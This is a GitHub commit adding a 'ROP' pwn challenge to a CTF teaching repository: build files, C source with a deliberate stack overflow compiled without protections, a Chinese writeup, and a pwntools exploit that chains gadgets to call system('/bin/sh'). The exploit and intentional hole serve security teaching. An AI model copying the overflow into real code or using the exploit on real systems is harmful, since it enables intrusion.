Skip to content

Commit

Permalink
feat(pwn/rop): 添加题目 (#49)
Browse files Browse the repository at this point in the history
  • Loading branch information
13m0n4de authored Nov 1, 2024
1 parent c159391 commit b708acc
Show file tree
Hide file tree
Showing 9 changed files with 387 additions and 0 deletions.
76 changes: 76 additions & 0 deletions .github/workflows/pwn.rop.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
name: Challenge ROP

on:
push:
branches: ["main", "pwn/rop"]
paths:
- "!**/README.md"
- "challenges/pwn/rop/build/**"
workflow_dispatch:

env:
TYPE: pwn
NAME: rop
BRANCH: pwn/rop
EXECUTABLE: /home/ctf/rop
REGISTRY: ghcr.io

jobs:
challenge-build:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write

steps:
- name: Checkout repository
uses: actions/checkout@v4

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3

- name: Log in to the Container registry
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ github.repository }}/${{ env.NAME }}
tags: |
type=raw,value=latest
- name: Build and push Docker image
uses: docker/build-push-action@v4
with:
context: challenges/${{ env.TYPE }}/${{ env.NAME }}/build
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
push: true

- name: Extract executable from Docker image
run: |
docker create --name temp ${{ steps.meta.outputs.tags }}
mkdir -p ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments
if [ ! -z "${{ env.EXECUTABLE }}" ]; then
docker cp temp:${{ env.EXECUTABLE }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/
fi
if [ ! -z "${{ env.LIBC }}" ]; then
docker cp temp:${{ env.LIBC }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/
fi
if [ ! -z "${{ env.LD }}" ]; then
docker cp temp:${{ env.LD }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/
fi
docker rm temp
- name: Commit and push changes
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git add ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/
git diff --staged --quiet || git commit -m "chore(${{ env.BRANCH }}): update attachments [skip ci]"
git push
169 changes: 169 additions & 0 deletions challenges/pwn/rop/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
---
title: ROP
author: 13m0n4de
difficulty: Medium
category: Pwn
image: ghcr.io/svuctf/svuctf-helloworld-2024/rop:latest
port: 70
writeup_author: pn1fg
tags:
- rop
reference:
---

# ROP

## 题目描述

## 题目解析

### 查看文件信息

查看文件类型:

```
$ file rop
rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=caa5a8688811dbd2d1f955cef1033593ff3f9c0d, for GNU/Linux 3.2.0, not stripped
```

64位 ELF 文件,动态链接,没有去除符号。

查看保护机制:

```
$ checksec --file=rop
RELRO Partial RELRO
STACK CANARY No canary found
NX NX enabled
PIE No PIE
RPATH No RPATH
RUNPATH No RUNPATH
Symbols 74 Symbols
FORTIFY No
Fortified 0
Fortifiable 1
FILE ret2text64
```

NX 保护。

### 分析漏洞成因

反编译 `vuln` 函数:

```c
[0x00401130]> s sym.vuln
[0x0040135a]> pdg

ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

system("echo \"Hello CTFer, what's your name?\"");
return read(0, buf, 0x100uLL);
}
```

很明显的栈溢出,`buf` 大小只有 0x40,但是 `read` 函数读取了 0x100,还看到了 `system` 函数,但可惜的是这里的 `system` 并没有执行 `/bin/sh`,所以我们无法直接跳转至此。

列出所有函数:

```
[0x00401130]> afl
0x004010b0 1 11 sym.imp.putchar
0x004010c0 1 11 sym.imp.puts
0x004010d0 1 11 sym.imp.system
0x004010e0 1 11 sym.imp.close
0x004010f0 1 11 sym.imp.read
0x00401100 1 11 sym.imp.setvbuf
0x00401110 1 11 sym.imp.open
0x00401120 1 11 sym.imp.__isoc99_scanf
0x00401130 1 46 entry0
0x00401170 4 31 sym.deregister_tm_clones
0x004011a0 4 49 sym.register_tm_clones
0x004011e0 3 32 sym.__do_global_dtors_aux
0x00401210 1 6 sym.frame_dummy
0x00401470 1 5 sym.__libc_csu_fini
0x0040135a 1 110 sym.vuln
0x004012d6 4 132 sym.b4ckd00r
0x00401478 1 13 sym._fini
0x0040127b 1 91 sym.banner
0x00401216 1 101 sym.init
0x00401400 4 101 sym.__libc_csu_init
0x00401160 1 5 sym._dl_relocate_static_pie
0x004013c8 1 45 main
0x00401000 3 27 sym._init
0x00401030 2 28 fcn.00401030
0x00401040 1 15 fcn.00401040
0x00401050 1 15 fcn.00401050
0x00401060 1 15 fcn.00401060
0x00401070 1 15 fcn.00401070
0x00401080 1 15 fcn.00401080
0x00401090 1 15 fcn.00401090
0x004010a0 1 15 fcn.004010a0
```

并没有发现后门函数。

这里给同学们介绍一个新的工具 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget),它的可以精确的查找程序中的一些汇编指令或字符串,例如查找 `/bin/sh`

```
$ ROPgadget --binary=rop --string "/bin/sh"
Strings information
============================================================
0x0000000000404050 : /bin/sh
```

很明显程序中存在 `/bin/sh` 这个字符串,那我们只需要控制程序执行流调用 `system` 函数执行 `/bin/sh` 即可。

[上一题](../ret2text64/README.md)我们讲述过 64 位程序传参需要通过寄存器,ROPgadget 也可以用来寻找修改寄存器的指令(`pop` + `ret`):

```asm
$ ROPgadget --binary=rop --only 'pop|ret'
Gadgets information
============================================================
0x000000000040133c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040133e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401340 : pop r14 ; pop r15 ; ret
0x0000000000401342 : pop r15 ; ret
0x000000000040133b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040133f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401343 : pop rdi ; ret
0x0000000000401341 : pop rsi ; pop r15 ; ret
0x000000000040133d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
Unique gadgets found: 11
```

### 编写利用程序

[exp.py](./writeup/exp.py):

```python
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

elf = ELF("../attachments/rop")
io = process("../attachments/rop")

pop_rdi_ret = 0x00401343
ret = 0x0040101A

payload = flat(
[
cyclic(0x40),
b"A" * 8,
ret,
pop_rdi_ret,
elf.sym["secret"],
elf.sym["system"],
]
)
io.sendafter(b"Hello CTFer, what's your name?\n", payload)

io.interactive()
```
Binary file added challenges/pwn/rop/attachments/rop
Binary file not shown.
48 changes: 48 additions & 0 deletions challenges/pwn/rop/build/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
FROM ubuntu:20.04 AS builder

RUN apt-get update && apt-get install -y gcc make

WORKDIR /build

COPY src/* ./

RUN make

FROM ghcr.io/svuctf/base-v2/xinetd:latest

# Copy initialization script and xinetd configuration
COPY --chmod=500 init.sh /init.sh
COPY xinetd.conf /etc/xinetd.conf

# Set up the CTF environment
RUN chmod -R 750 /home/ctf && \
mkdir -p /home/ctf/lib64 && \
mkdir -p /home/ctf/dev && \
mkdir -p /home/ctf/bin && \
mkdir -p /home/ctf/lib/x86_64-linux-gnu && \
mkdir -p /home/ctf/lib32

# Copy necessary libraries from builder stage
COPY --from=builder /lib/x86_64-linux-gnu/libc.so.6 /home/ctf/lib/x86_64-linux-gnu/
COPY --from=builder /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /home/ctf/lib64/

# Copy the challenge binary
COPY --from=builder --chmod=500 /build/rop /home/ctf/rop

# Set up device nodes
RUN mknod /home/ctf/dev/null c 1 3 && \
mknod /home/ctf/dev/zero c 1 5 && \
mknod /home/ctf/dev/random c 1 8 && \
mknod /home/ctf/dev/urandom c 1 9 && \
chmod 666 /home/ctf/dev/*

# Copy necessary binaries abd binaries
RUN cp /lib/ld-musl-x86_64.so.1 /home/ctf/lib/ && \
cp /bin/sh /home/ctf/bin && \
cp /bin/ls /home/ctf/bin && \
cp /bin/cat /home/ctf/bin && \
cp /bin/base64 /home/ctf/bin

RUN chown -R ctf:ctf /home/ctf

CMD ["xinetd", "-dontfork"]
7 changes: 7 additions & 0 deletions challenges/pwn/rop/build/init.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#!/bin/sh

echo $GZCTF_FLAG > /home/ctf/flag
chown -R ctf:ctf /home/ctf/flag
unset GZCTF_FLAG

/usr/sbin/chroot /home/ctf/ /rop
12 changes: 12 additions & 0 deletions challenges/pwn/rop/build/src/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
CC = gcc
CFLAGS = -Wall -Wextra -Wpedantic -no-pie -fno-stack-protector -m64

TARGET = rop

all: $(TARGET)

$(TARGET): $(TARGET).c
$(CC) $(CFLAGS) -o $@ $<

clean:
rm -f $(TARGET)
34 changes: 34 additions & 0 deletions challenges/pwn/rop/build/src/rop.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char secret[] = "/bin/sh";

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

void banner() {
printf(" ___ _ _ __ __ ___ ____ ____ \n");
printf("/ __)( \\/ )( )( )/ __)(_ _)( ___)\n");
printf("\\__ \\ \\ / )(__)(( (__ )( )__) \n");
printf("(___/ \\/ (______)\\___) (__) (__) \n");
printf("\n");
printf("Welcome to the SVUCTF HELLOWORLD 2024!\n");
printf("\n");
}

void vuln() {
char buf[64];
system("echo \"Hello CTFer, what's your name?\"");
read(0, &buf, 256);
}

int main() {
init();
banner();
vuln();
return 0;
}
17 changes: 17 additions & 0 deletions challenges/pwn/rop/build/xinetd.conf
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
service ctf
{
disable = no
id = xinetd
socket_type = stream
protocol = tcp
wait = no
user = root
type = UNLISTED
port = 70
bind = 0.0.0.0
server = /init.sh
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
rlimit_as = 100M # the Address Space resource limit for the service
}
24 changes: 24 additions & 0 deletions challenges/pwn/rop/writeup/exp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

elf = ELF("../attachments/rop")
io = process("../attachments/rop")

pop_rdi_ret = 0x00401343
ret = 0x0040101A

payload = flat(
[
cyclic(0x40),
b"A" * 8,
ret,
pop_rdi_ret,
elf.sym["secret"],
elf.sym["system"],
]
)
io.sendafter(b"Hello CTFer, what's your name?\n", payload)

io.interactive()

0 comments on commit b708acc

Please sign in to comment.